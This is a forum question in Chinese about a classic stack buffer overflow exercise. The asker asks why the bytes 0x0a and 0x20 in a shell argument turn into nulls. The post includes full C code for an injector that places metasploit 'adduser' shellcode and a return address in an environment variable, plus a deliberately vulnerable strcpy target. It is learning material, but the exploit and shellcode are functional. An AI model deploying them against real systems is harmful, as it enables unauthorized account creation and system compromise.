我正在使用从缓冲区溢出演示中获得的一组c程序。 C程序“ A”设置环境变量“ EGG”并打开bash shell。然后从程序“ A”打开的bash shell中,运行程序“ B”并提供“ EGG”变量作为参数。然后,应该将程序“ B”简单地将EGG变量复制到内存中。现在,我的程序“ A”中创建的“ EGG”变量应该覆盖程序“ B”缓冲区中的所有内容,并通过其返回指针进行覆盖,以使返回指针现在指向“ EGG”值的开头,即创建外壳或您所拥有的命令。
为了实践该代码,我使用metasploit为linux / x86 / adduser有效负载生成了shell,确保使用'-b“ \ x00”'选项删除所有空字节,然后插入shell代码进入程序“ A”。它不起作用。在使用gdb进行调试之后,我发现shell代码中\ x0a和\ x20字节的所有实例在作为参数传递给程序“ B”时都转换为空字节。我回到metasploit,并将\ x0a和\ x20添加到要排除的字节列表中,获得了新的有效负载,一切正常。
我的问题很简单-为什么?为什么\ x20和\ x0a字节变成空字节?
请参见下面的gdb代码和屏幕截图。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\xbe\x26\x4d\xed\x2e\xdb\xd9\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x19\x83\xef\xfc\x31\x77\x0f\x03\x77\x29\xaf\x18\x1f\xfc\xa6"
"\x28\x0a\xb8\xe0\x63\x4b\x2e\x14\x24\x7d\x67\x47\xbc\x0e\x04"
"\x1f\x58\x99\xc5\xf0\xd0\x38\x71\x20\x74\xcf\xe2\xb7\x95\x6e"
"\x51\xc3\x94\xf1\x0a\x24\x0e\xf2\x2c\xb5\x22\x97\x58\xd4\xcf"
"\x27\xcc\x79\x59\xbc\x36\xc7\xe3\x13\x22\x8e\x60\x06\x9e\x60"
"\xb3\x9f\x8c\xe3\x81\x2f\x0a\xd4\xcf\x75\x45\x2e\x1f\xe8\xf0"
"\x20\x70\x9f\x6a\xb7\xd7\xd4\x3b\x3b\x8d\xee\xe3\x0e\xd2\x85"
"\x12\xc9\x1e\xd9";
char retaddr[] = "\xaa\xaa\xaa\xaa";
#define NOP 0x90
main()
{
char buffer[176];
memset(buffer, NOP, 176);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 124);
memcpy(buffer+168, retaddr, 4);
memcpy(buffer+172, "\x00\x00\x00\x00",4);
putenv(buffer);
system("/bin/sh");
return 0;
}
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[160];
strcpy(buffer, argv[1]);
return 1;
}